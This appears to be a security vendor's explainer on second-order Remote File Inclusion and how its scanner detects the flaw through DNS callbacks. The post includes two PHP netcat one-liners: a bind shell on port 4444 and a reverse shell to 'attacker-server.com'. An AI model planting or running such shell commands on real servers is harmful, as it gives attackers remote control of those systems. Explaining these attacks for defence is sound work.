Second-Order Remote File Inclusion (RFI) Vulnerability Introduction & Example

The main difference between a Remote File Inclusion (RFI) vulnerability and a second-order one is that in a second-order RFI, attackers do not receive an instant response from the web server, so it is more difficult to detect. This is because the payload that the attacker uses to exploit the vulnerability is stored and executed at a later stage.

Exploiting a Second-Order Remote File Inclusion Vulnerability

Imagine a website that allows users to submit links through a web form. These submissions are later reviewed by a moderator, on a control panel that directly adds the remote content into the page. If an attacker manages to use the form to submit a remote website containing a dangerous payload, this payload will be executed once the moderator opens the page.

This means that the attacker’s included will still be executed on the web server. However the attacker can not use a guided web shell with a user interface to issue commands, as the admin is the only one who would see the output. So they have to resort to alternative techniques, such as spawning a bind or reverse shell.

A bind shell listens on a specific web server port and binds a shell (such as Bash) to it. Once the attacker connects, they are able to execute commands. This will not work, however, if a firewall is in place that prevents non-whitelisted ports from receiving incoming connections.

<?php
system(‘nc -lp 4444 -e /bin/bash’);

A reverse shell does the same, but instead of listening on the web server, it actively initiates a connection to the attacker’s machine. This bypasses the firewall rule, since this connection is outgoing, not incoming.

<?php
system(‘nc attacker-server.com 4444 -e /bin/bash’);

Another method, which is often used in automated exploitation by malicious hackers, is hard-coding the command that installs malware on the server into the included file, without further possibility of interaction. The malware in this case is often a piece of code that connects back to a command and control server, awaiting further instructions.

How Does Netsparker Detect Second-Order RFI Attacks?

This screenshot shows the RFI vulnerability as reported in Netsparker Desktop.

As with other second-order and blind web application vulnerabilities, the Netsparker web application security solution probes the web application and sends a payload with a custom hash. That hash is used as a subdomain of our Netsparker Hawk testing infrastructure, which results in a URL like this:

b92e8649b6cf4886241a3e0825bd36a262b24933.r87.me

When the file inclusion is triggered at a later time, the vulnerability is exploited as follows:

1. The web server tries to include a file under b92e8649b6cf4886241a3e0825bd36a262b24933.r87.me
2. The Netsparker Hawk server responds with another payload containing code, which forces the web server to resolve yet another custom subdomain

If the second DNS query is successful, Netsparker will confirm the blind RFI.